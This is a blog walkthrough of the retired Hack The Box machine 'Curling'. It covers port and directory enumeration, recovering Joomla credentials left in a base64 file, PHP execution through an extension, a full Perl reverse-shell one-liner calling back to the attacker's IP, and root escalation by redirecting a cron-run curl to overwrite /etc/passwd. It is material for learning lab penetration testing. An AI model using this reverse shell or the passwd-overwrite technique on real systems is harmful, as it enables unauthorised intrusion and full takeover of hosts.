This post documents the complete walkthrough of Curling, a retired vulnerable VM created by L4mpje, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Curling is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a nmap
scan to establish the available services in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 10.10.10.150
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Let’s start with the http
service. This is how it looks like in a browser.
Directory/File Enumeration
Let’s use wfuzz
and SecLists’ quickhits.txt
, and see what we can get.
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt --hc '403,404' http://10.10.10.150/FUZZ
********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.150/FUZZ
Total requests: 2371
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000600: C=200 109 L 348 W 5110 Ch "/administrator/"
000603: C=301 9 L 28 W 325 Ch "/administrator/logs"
000825: C=200 1 L 2 W 31 Ch "/cache/"
000966: C=200 0 L 0 W 0 Ch "/configuration.php"
001306: C=200 80 L 493 W 3005 Ch "/htaccess.txt"
001444: C=200 339 L 2968 W 18092 Ch "/LICENSE.txt"
001915: C=200 72 L 540 W 4872 Ch "/README.txt"
002101: C=200 1 L 2 W 31 Ch "/templates/"
002138: C=301 9 L 28 W 310 Ch "/tmp"
002139: C=200 1 L 2 W 31 Ch "/tmp/"
002270: C=200 31 L 90 W 1690 Ch "/web.config.txt"
Total time: 48.42746
Processed Requests: 2371
Filtered Requests: 2360
Requests/sec.: 48.95982
Now, what do we have here? Joomla!
Joomla 3.8
If you look at the articles posted, the first article was signed off by Floris and written by Super User. Could floris
be the username? And, what’s the password?
Hidden at the bottom of the HTML source code of the landing page is a HTML comment that looks like this.
Hmm. It seems to suggest the presence of a secret.txt
file. Let’s check it out.
That’s the base64
-encoding of the string Curling2018!
.
Could this be the password? There’s only one way to find out.
The credential is indeed (floris:Curling2018!
) and a Super User no less.
Low-Privilege Shell
Searching for “writing joomla article in php” in Google led me to Sourcerer, a Joomla extension that allows one to write in any code, more importantly in PHP. And since I’m the Super User, installing an extension is a breeze. Go to Extensions->Manage->Install.
Upload the extension and you are done.
Now, log in to the landing page with the same credential and go back to one of the articles already posted; and add some PHP code like this.
Save the article and go to the article’s canonical URL.
Isn’t this awesome? We are now ready for a reverse shell. I always like Perl because it’s more likely to be present than Python.
perl -e 'use Socket;$i="10.10.14.109";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
URLencode it to prevent complications since we are putting in the address bar.
Meanwhile at my nc
listener, a reverse shell appears…
Privilege Escalation
During enumeration of www-data
’s account, I notice an interesting file password_backup
at /home/floris
. The user.txt
is here but only floris
can read it.
The file password_backup
is a hexdump.
Let’s restore the hexdump back to its binary form and see what’s next with file
.
Let’s try the credential (floris:5d<wdCbdZu)|hChXll
) with SSH.
Perfect. Time to retrieve user.txt
.
Now, I notice something really strange going on in /admin-area
.
Two files are written here by root
at every minute interval! If I have to guess, I would say that a cron
job is ran by root
every minute writing the files here.
The file input
contains curl
-like argument like this.
If that’s the case, I can change the content to this.
url = "file:///tmp/passwd"
output = "/etc/passwd"
This input will tell curl
to download the file at /tmp/passwd
and write it to /etc/passwd
. Now, let’s copy /etc/passwd
to /tmp/passwd
and add another root
account like so.
Where to5bce5sr7eK6
is the crypt(3)
hash or one-way digest of “toor” with salt “toor”.
Once that’s done, we can proceed to modify input
and log in as toor
a minute later.
Getting root.txt
is next to trivial.